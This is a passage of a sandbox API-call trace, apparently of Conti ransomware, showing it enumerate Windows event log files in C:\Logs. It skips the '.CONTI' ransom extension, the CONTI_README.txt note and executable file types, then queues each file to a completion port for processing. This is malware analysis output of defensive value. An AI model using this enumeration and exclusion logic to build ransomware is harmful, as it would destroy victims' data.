	[0095.420] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-NCSI%4Operational.evtx", cAlternateFileName="MI483C~1.EVT")) returned 1
	[0095.420] lstrcmpiW (lpString1="Microsoft-Windows-NCSI%4Operational.evtx", lpString2=".") returned 1
	[0095.420] lstrcmpiW (lpString1="Microsoft-Windows-NCSI%4Operational.evtx", lpString2="..") returned 1
	[0095.420] StrStrIW (lpFirst="Microsoft-Windows-NCSI%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.420] StrStrIW (lpFirst="Microsoft-Windows-NCSI%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.420] StrStrIW (lpFirst="Microsoft-Windows-NCSI%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.420] StrStrIW (lpFirst="Microsoft-Windows-NCSI%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.420] StrStrIW (lpFirst="Microsoft-Windows-NCSI%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.420] StrStrIW (lpFirst="Microsoft-Windows-NCSI%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.420] StrStrIW (lpFirst="Microsoft-Windows-NCSI%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.420] StrStrIW (lpFirst="Microsoft-Windows-NCSI%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.420] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.420] lstrlenW (lpString="Microsoft-Windows-NCSI%4Operational.evtx") returned 40
	[0095.420] GetProcessHeap () returned 0x1720000
	[0095.420] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x62) returned 0x17411b0
	[0095.420] lstrcpyW (in: lpString1=0x17411b0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.420] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.420] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-NCSI%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx"
	[0095.420] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d9418) returned 1
	[0095.420] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx", cAlternateFileName="MIFC66~1.EVT")) returned 1
	[0095.420] lstrcmpiW (lpString1="Microsoft-Windows-NetworkProfile%4Operational.evtx", lpString2=".") returned 1
	[0095.420] lstrcmpiW (lpString1="Microsoft-Windows-NetworkProfile%4Operational.evtx", lpString2="..") returned 1
	[0095.420] StrStrIW (lpFirst="Microsoft-Windows-NetworkProfile%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.420] StrStrIW (lpFirst="Microsoft-Windows-NetworkProfile%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.420] StrStrIW (lpFirst="Microsoft-Windows-NetworkProfile%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.420] StrStrIW (lpFirst="Microsoft-Windows-NetworkProfile%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.420] StrStrIW (lpFirst="Microsoft-Windows-NetworkProfile%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.420] StrStrIW (lpFirst="Microsoft-Windows-NetworkProfile%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.421] StrStrIW (lpFirst="Microsoft-Windows-NetworkProfile%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.421] StrStrIW (lpFirst="Microsoft-Windows-NetworkProfile%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.421] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.421] lstrlenW (lpString="Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 50
	[0095.421] GetProcessHeap () returned 0x1720000
	[0095.421] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x76) returned 0x17c3a80
	[0095.421] lstrcpyW (in: lpString1=0x17c3a80, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.421] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.421] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-NetworkProfile%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx"
	[0095.421] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d68c0) returned 1
	[0095.421] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx", cAlternateFileName="MI6E98~1.EVT")) returned 1
	[0095.421] lstrcmpiW (lpString1="Microsoft-Windows-Ntfs%4Operational.evtx", lpString2=".") returned 1
	[0095.421] lstrcmpiW (lpString1="Microsoft-Windows-Ntfs%4Operational.evtx", lpString2="..") returned 1
	[0095.421] StrStrIW (lpFirst="Microsoft-Windows-Ntfs%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.421] StrStrIW (lpFirst="Microsoft-Windows-Ntfs%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.421] StrStrIW (lpFirst="Microsoft-Windows-Ntfs%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.421] StrStrIW (lpFirst="Microsoft-Windows-Ntfs%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.421] StrStrIW (lpFirst="Microsoft-Windows-Ntfs%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.421] StrStrIW (lpFirst="Microsoft-Windows-Ntfs%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.421] StrStrIW (lpFirst="Microsoft-Windows-Ntfs%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.421] StrStrIW (lpFirst="Microsoft-Windows-Ntfs%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.421] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.421] lstrlenW (lpString="Microsoft-Windows-Ntfs%4Operational.evtx") returned 40
	[0095.421] GetProcessHeap () returned 0x1720000
	[0095.421] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x62) returned 0x1741370
	[0095.421] lstrcpyW (in: lpString1=0x1741370, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.421] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.421] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Ntfs%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx"
	[0095.421] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d98a8) returned 1
	[0095.421] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx", cAlternateFileName="MIB2AC~1.EVT")) returned 1
	[0095.421] lstrcmpiW (lpString1="Microsoft-Windows-Ntfs%4WHC.evtx", lpString2=".") returned 1
	[0095.421] lstrcmpiW (lpString1="Microsoft-Windows-Ntfs%4WHC.evtx", lpString2="..") returned 1
	[0095.421] StrStrIW (lpFirst="Microsoft-Windows-Ntfs%4WHC.evtx", lpSrch=".CONTI") returned 0x0
	[0095.422] StrStrIW (lpFirst="Microsoft-Windows-Ntfs%4WHC.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.422] StrStrIW (lpFirst="Microsoft-Windows-Ntfs%4WHC.evtx", lpSrch=".exe") returned 0x0
	[0095.422] StrStrIW (lpFirst="Microsoft-Windows-Ntfs%4WHC.evtx", lpSrch=".dll") returned 0x0
	[0095.422] StrStrIW (lpFirst="Microsoft-Windows-Ntfs%4WHC.evtx", lpSrch=".lnk") returned 0x0
	[0095.422] StrStrIW (lpFirst="Microsoft-Windows-Ntfs%4WHC.evtx", lpSrch=".sys") returned 0x0
	[0095.422] StrStrIW (lpFirst="Microsoft-Windows-Ntfs%4WHC.evtx", lpSrch=".CONTI") returned 0x0
	[0095.422] StrStrIW (lpFirst="Microsoft-Windows-Ntfs%4WHC.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.422] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.422] lstrlenW (lpString="Microsoft-Windows-Ntfs%4WHC.evtx") returned 32
	[0095.422] GetProcessHeap () returned 0x1720000
	[0095.422] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x52) returned 0x17c0f08
	[0095.422] lstrcpyW (in: lpString1=0x17c0f08, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.422] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.422] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Ntfs%4WHC.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx"
	[0095.422] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d8420) returned 1
	[0095.422] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", cAlternateFileName="MI6AFE~1.EVT")) returned 1
	[0095.422] lstrcmpiW (lpString1="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", lpString2=".") returned 1
	[0095.422] lstrcmpiW (lpString1="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", lpString2="..") returned 1
	[0095.422] StrStrIW (lpFirst="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", lpSrch=".CONTI") returned 0x0
	[0095.422] StrStrIW (lpFirst="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.422] StrStrIW (lpFirst="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", lpSrch=".exe") returned 0x0
	[0095.422] StrStrIW (lpFirst="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", lpSrch=".dll") returned 0x0
	[0095.422] StrStrIW (lpFirst="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", lpSrch=".lnk") returned 0x0
	[0095.422] StrStrIW (lpFirst="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", lpSrch=".sys") returned 0x0
	[0095.422] StrStrIW (lpFirst="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", lpSrch=".CONTI") returned 0x0
	[0095.422] StrStrIW (lpFirst="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.422] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.422] lstrlenW (lpString="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 74
	[0095.422] GetProcessHeap () returned 0x1720000
	[0095.422] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa6) returned 0x1732cc0
	[0095.422] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.422] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.422] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx"
	[0095.423] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d8f88) returned 1
	[0095.423] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx", cAlternateFileName="MIB9D2~1.EVT")) returned 1
	[0095.423] lstrcmpiW (lpString1="Microsoft-Windows-ReadyBoost%4Operational.evtx", lpString2=".") returned 1
	[0095.423] lstrcmpiW (lpString1="Microsoft-Windows-ReadyBoost%4Operational.evtx", lpString2="..") returned 1
	[0095.423] StrStrIW (lpFirst="Microsoft-Windows-ReadyBoost%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.423] StrStrIW (lpFirst="Microsoft-Windows-ReadyBoost%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.423] StrStrIW (lpFirst="Microsoft-Windows-ReadyBoost%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.423] StrStrIW (lpFirst="Microsoft-Windows-ReadyBoost%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.423] StrStrIW (lpFirst="Microsoft-Windows-ReadyBoost%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.423] StrStrIW (lpFirst="Microsoft-Windows-ReadyBoost%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.423] StrStrIW (lpFirst="Microsoft-Windows-ReadyBoost%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.423] StrStrIW (lpFirst="Microsoft-Windows-ReadyBoost%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.423] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.423] lstrlenW (lpString="Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 46
	[0095.423] GetProcessHeap () returned 0x1720000
	[0095.423] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6e) returned 0x1740910
	[0095.423] lstrcpyW (in: lpString1=0x1740910, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.423] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.423] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-ReadyBoost%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx"
	[0095.423] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d78b8) returned 1
	[0095.423] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", cAlternateFileName="MI7A67~1.EVT")) returned 1
	[0095.423] lstrcmpiW (lpString1="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", lpString2=".") returned 1
	[0095.423] lstrcmpiW (lpString1="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", lpString2="..") returned 1
	[0095.423] StrStrIW (lpFirst="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.423] StrStrIW (lpFirst="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.423] StrStrIW (lpFirst="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.423] StrStrIW (lpFirst="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.423] StrStrIW (lpFirst="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.423] StrStrIW (lpFirst="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.423] StrStrIW (lpFirst="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.423] StrStrIW (lpFirst="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.424] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.424] lstrlenW (lpString="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 64
	[0095.424] GetProcessHeap () returned 0x1720000
	[0095.424] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x92) returned 0x173f4d0
	[0095.424] lstrcpyW (in: lpString1=0x173f4d0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.424] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.424] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx"
	[0095.424] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d91d0) returned 1
	[0095.424] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx", cAlternateFileName="MI3773~1.EVT")) returned 1
	[0095.424] lstrcmpiW (lpString1="Microsoft-Windows-SettingSync%4Debug.evtx", lpString2=".") returned 1
	[0095.424] lstrcmpiW (lpString1="Microsoft-Windows-SettingSync%4Debug.evtx", lpString2="..") returned 1
	[0095.424] StrStrIW (lpFirst="Microsoft-Windows-SettingSync%4Debug.evtx", lpSrch=".CONTI") returned 0x0
	[0095.424] StrStrIW (lpFirst="Microsoft-Windows-SettingSync%4Debug.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.424] StrStrIW (lpFirst="Microsoft-Windows-SettingSync%4Debug.evtx", lpSrch=".exe") returned 0x0
	[0095.424] StrStrIW (lpFirst="Microsoft-Windows-SettingSync%4Debug.evtx", lpSrch=".dll") returned 0x0
	[0095.424] StrStrIW (lpFirst="Microsoft-Windows-SettingSync%4Debug.evtx", lpSrch=".lnk") returned 0x0
	[0095.424] StrStrIW (lpFirst="Microsoft-Windows-SettingSync%4Debug.evtx", lpSrch=".sys") returned 0x0
	[0095.424] StrStrIW (lpFirst="Microsoft-Windows-SettingSync%4Debug.evtx", lpSrch=".CONTI") returned 0x0
	[0095.424] StrStrIW (lpFirst="Microsoft-Windows-SettingSync%4Debug.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.424] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.424] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Debug.evtx") returned 41
	[0095.424] GetProcessHeap () returned 0x1720000
	[0095.424] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x64) returned 0x1740d50
	[0095.424] lstrcpyW (in: lpString1=0x1740d50, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.424] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.424] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-SettingSync%4Debug.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx"
	[0095.424] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d7b00) returned 1
	[0095.424] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx", cAlternateFileName="MI36AA~1.EVT")) returned 1
	[0095.424] lstrcmpiW (lpString1="Microsoft-Windows-SettingSync%4Operational.evtx", lpString2=".") returned 1
	[0095.424] lstrcmpiW (lpString1="Microsoft-Windows-SettingSync%4Operational.evtx", lpString2="..") returned 1
	[0095.424] StrStrIW (lpFirst="Microsoft-Windows-SettingSync%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.424] StrStrIW (lpFirst="Microsoft-Windows-SettingSync%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.425] StrStrIW (lpFirst="Microsoft-Windows-SettingSync%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.425] StrStrIW (lpFirst="Microsoft-Windows-SettingSync%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.425] StrStrIW (lpFirst="Microsoft-Windows-SettingSync%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.425] StrStrIW (lpFirst="Microsoft-Windows-SettingSync%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.425] StrStrIW (lpFirst="Microsoft-Windows-SettingSync%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.425] StrStrIW (lpFirst="Microsoft-Windows-SettingSync%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.425] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.425] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Operational.evtx") returned 47
	[0095.425] GetProcessHeap () returned 0x1720000
	[0095.425] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x1740988
	[0095.425] lstrcpyW (in: lpString1=0x1740988, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.425] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.425] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-SettingSync%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx"
	[0095.425] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d9af0) returned 1
	[0095.425] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", cAlternateFileName="MI2E2E~1.EVT")) returned 1
	[0095.425] lstrcmpiW (lpString1="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", lpString2=".") returned 1
	[0095.425] lstrcmpiW (lpString1="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", lpString2="..") returned 1
	[0095.425] StrStrIW (lpFirst="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", lpSrch=".CONTI") returned 0x0
	[0095.425] StrStrIW (lpFirst="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.425] StrStrIW (lpFirst="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", lpSrch=".exe") returned 0x0
	[0095.425] StrStrIW (lpFirst="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", lpSrch=".dll") returned 0x0
	[0095.425] StrStrIW (lpFirst="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", lpSrch=".lnk") returned 0x0
	[0095.425] StrStrIW (lpFirst="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", lpSrch=".sys") returned 0x0
